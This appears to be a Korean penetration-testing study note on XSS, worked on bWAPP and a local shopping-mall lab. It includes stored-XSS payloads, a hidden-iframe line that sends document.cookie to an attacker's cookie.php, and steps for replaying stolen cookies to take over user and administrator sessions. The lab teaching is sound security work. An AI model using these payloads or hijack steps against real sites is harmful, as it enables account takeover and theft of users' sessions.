Cross Site Scripting?
사이트 간 스크립팅(또는 크로스 사이트 스크립팅, 영문 명칭 cross-site scripting, 영문 약어 XSS)은 웹 애플리케이션에서 많이 나타나는 취약점의 하나로 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점이다
-persistent(or stored)
데이터 베이스에 스크립트를 저장되어 지속적으로 발생한다
-reflected
저장이 되지 않아서 지속적이지 않는다. 메세지에 보낸다거나 액션들을 발생하게 하는것
요즘은 잘 취약점으로 접근하지 않는다
더 자세한 기본적 개념이 알고싶으면 http://01092090536.tistory.com/29 참고하면 좋을 것 같다
XSS 취약점이 존재하는지 간단하게 확인하는 방법은 alert창이 뜨나 안뜨나를 확인하는것이다
<실습 환경>
비박스
1.XSS - Stored (Blog)
1).우선 기본적으로 <script>alert(1);</script> 삽입하여 스크립트가 실행되는지 부터 확인한다
스크립트를 삽입하고 Submit 버튼을 클릭하면
페이지가 작동하지 않는다는 화면이 출력된다
이유는 브라우저 마다 차이는 있지만 기본적인 XSS에 대한 필터링을 하고있다
크롬은 한번더 클릭하면 접속할수 있다
접속하면 <script>alert(1);</script> 입력한 1의 알림창이 나온다
2).이제 실제로 필요한 정보를 가지고 오기 위해서 쿠키 정보를 가지고 오면
<script>alert(document.cookie);</script> 삽입을 해준다
XSS 공격이 성공하면 쿠키 정보도 가지고 올수 있는것을 볼수있다
자바 스크립트 말고 iframe,img 등 형태로도 정보를 탈취할수있다
<iframe src="http://www.naver.com"></iframe>
<실습>
2.gmshop 쇼핑몰 대상 XSS 공격
설정
chmod 777/var/www 권한을 설정해야한다
document.write("<iframe src='http://localhost/cookie.php?cookie="+document.cookie+"' width=0 height=0></iframe>");
사용자가 코드가 삽입된 페이지를 접속하면 공격자의 cookie.php에 의해서 쿠키 정보가 탈취된다
cookie.php를 살펴보면 탈취되는 정보를 확인할수있다
탈취된 정보를 cookie.html을 정확하게 살펴 보면
시간, 브라우저,이전주소,쿠키,아이피가 탈취된것을 볼수있다
!공격 방법
document.write("<iframe src='http://localhost/cookie.php?cookie="+document.cookie+"' width=0 height=0></iframe>");
이런 식으로 파일로 안보내고 긴 문장으로 보낼때는 iframe,cookie,길이제한 등 막을수 있는 방법이 너무 많기 때문에 실무에서는 절대 이렇게 보내지 않고 파일형태로 전송하게 된다
공격방법은
<script src="http://localhost/a.js"></script>
사용자 쿠키 획득 (실무)->Replay Attack (쿠키 재사용 공격)
->하이재킹 공격(네트워크 패킷)
공격 과정:a.js->cookie.php->cookie.html (chmod 777 cookie.html)
시나리오
A공격자(Chrome),B사용자(IE)
1.A공격자 ->게시판 스크립트 삽인 <-B사용자 접근
2.B사용자의 쿠키 정보 수집(cookie.html 확인)
3.A공격자 버프스위트 이용해서 Cookie에 B사용자 것 적용
그래서 권한을 가지고 올수 있도록 적용한다
1.공격자A(크롬) 이 게시판에 스크립트를 삽입한다
2.사용자(IE)가 글을 클릭할 경우 스크립트가 실행되면서 Cookie.html로 사용자에대한 정보가 전송되는걸 확인할수있다.
쿠키를 획득 할수 있다
3.버프스위트를 이용해서 쿠키 정보를 가지고 권한을 획득 할수있다
공격자는test1이라는 아이디를 사용했고 사용자는 test2 아이디를 사용했다
사용자의 쿠키 정보를 획득했으니까 이걸 버프스위트를 통해서 쿠키정보를 입력해주면 공격자가 test2의 권한을 획득 할수 있게 되는것이다
쿠키 값을 변조해주면 권한을 획득 할수 있다
시나리오
공격자(크롬)->*관리자 권한(IE)*
관리자 권한을 얻는 방법에 대한 시나리오 고민
사용자가 1:1문의게시판에 스크립트를 입력하여 글을 남기면
관리자는 관리자 페이지에서 관리자 권한을 가지고 이 글을 읽게된다
그럼 공격자인 사용자가 cookie.html 에서 쿠키 값을 가지고 관리자 권한으로 접속이 가능하다
이 외에도 많은 경우가 있을수 있고 확인해 봐야겠지만 우선 관리자 권한을 얻는것에 대한 실습을 진행 할 수 있도록한다 (프로젝트로 진행)
관리자 페이지:http://localhost/gmshp/admin/index.php
1.공격자가 관리자랑 접촉할수있는 부분을 찾아야 한다
1:1 문의 게시판을 통해 취약점 확인을 한다
2.1:1문의 게시판에 공격코드가 담긴 글을 작성하여 관리자에게 글을 남기도록 한다
3.관리자가 글을 확인하면 쿠키 정보를 획득한다
관리자 쿠키를 획득 하였다
4.공격자가 쿠키를 이용해서 관리자의 권한을 얻는다
버프스위트를 사용해서 바꿔도 괜찮고
크롬에 EditThisCookie 기능을 이용하여 쿠키값만 관리자 쿠키로 변경해주면 완료된다
// 만약 취약점을 분석하다가 게시판이 깨질 경우가 있으면
프록시로 잡아서 html 오류를 수정해주고
들어가서 DB에 값을 수정해서 최종으로 수정해준다
주로 글자수 제한이 걸려서 오류가 나는 경우가 많은데 글자수를 변경해주면 수정이 가능하다(나름 XSS 대응 방안으로 사용)
-> 이걸 또 뚫는법은 짧은url을 사용해서 길이를 줄이는 방법도 있다. 구글에 단축url을 검색하면 가능하다
공격 패턴은
XSS Filter Evasion Cheat Sheet 하나하나 보면서 확인 해야한다
-DOM Based XSS
모의해킹 기본 개념:취약점 (발생)-> 공격 백터(Attack Vector)->위협(평가)->info(위협 수용)